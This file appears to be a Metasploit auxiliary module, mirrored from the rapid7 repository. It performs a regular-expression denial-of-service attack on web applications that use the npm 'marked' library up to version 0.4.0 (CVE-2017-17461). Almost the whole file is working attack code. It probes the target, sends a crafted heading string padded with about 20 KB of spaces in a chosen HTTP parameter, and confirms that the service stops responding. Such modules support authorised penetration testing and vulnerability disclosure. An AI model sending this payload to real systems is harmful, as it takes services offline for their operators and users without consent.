Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/http/marked_redos.rb
19813 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'marked npm module "heading" ReDoS',
15
'Description' => %q{
16
This module exploits a Regular Expression Denial of Service vulnerability
17
in the npm module "marked". The vulnerable portion of code that this module
18
targets is in the "heading" regular expression. Web applications that use
19
"marked" for generating html from markdown are vulnerable. Versions up to
20
0.4.0 are vulnerable.
21
},
22
'References' => [
23
['URL', 'https://blog.sonatype.com/cve-2017-17461-vulnerable-or-not'],
24
['CWE', '400']
25
],
26
'Author' => [
27
'Adam Cazzolla, Sonatype Security Research',
28
'Nick Starke, Sonatype Security Research'
29
],
30
'License' => MSF_LICENSE,
31
'Notes' => {
32
'Stability' => [CRASH_SERVICE_DOWN],
33
'SideEffects' => [],
34
'Reliability' => []
35
}
36
)
37
)
38
39
register_options([
40
Opt::RPORT(80),
41
OptString.new('HTTP_METHOD', [true, 'The default HTTP Verb to use', 'GET']),
42
OptString.new('HTTP_PARAMETER', [true, 'The vulnerable HTTP parameters', '']),
43
OptString.new('TARGETURI', [true, 'The URL Path to use', '/'])
44
])
45
end
46
47
def run
48
if test_service
49
trigger_redos
50
test_service_unresponsive
51
else
52
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
53
end
54
end
55
56
def trigger_redos
57
print_status("Sending ReDoS request to #{peer}.")
58
59
params = {
60
'uri' => normalize_uri(target_uri.path),
61
'method' => datastore['HTTP_METHOD'],
62
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
63
datastore['HTTP_PARAMETER'] => '# #' + (' ' * 20 * 1024) + Rex::Text.rand_text_alpha(1)
64
}
65
}
66
67
res = send_request_cgi(params)
68
69
if res
70
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
71
end
72
73
print_status("No response received from #{peer}, service is most likely unresponsive.")
74
rescue ::Rex::ConnectionRefused
75
print_error("Unable to connect to #{peer}.")
76
rescue ::Timeout::Error
77
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
78
end
79
80
def test_service_unresponsive
81
print_status('Testing for service unresponsiveness.')
82
83
res = send_request_cgi({
84
'uri' => '/' + Rex::Text.rand_text_alpha(8),
85
'method' => 'GET'
86
})
87
88
if res.nil?
89
print_good('Service not responding.')
90
else
91
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
92
end
93
rescue ::Rex::ConnectionRefused
94
print_error('An unknown error occurred.')
95
rescue ::Timeout::Error
96
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
97
end
98
99
def test_service
100
print_status('Testing Service to make sure it is working.')
101
102
res = send_request_cgi({
103
'uri' => '/' + Rex::Text.rand_text_alpha(8),
104
'method' => 'GET'
105
})
106
107
if res && res.code >= 100 && res.code < 500
108
print_status("Test request successful, attempting to send payload. Server returned #{res.code}")
109
return true
110
else
111
return false
112
end
113
rescue ::Rex::ConnectionRefused
114
print_error("Unable to connect to #{peer}.")
115
return false
116
end
117
end
118
119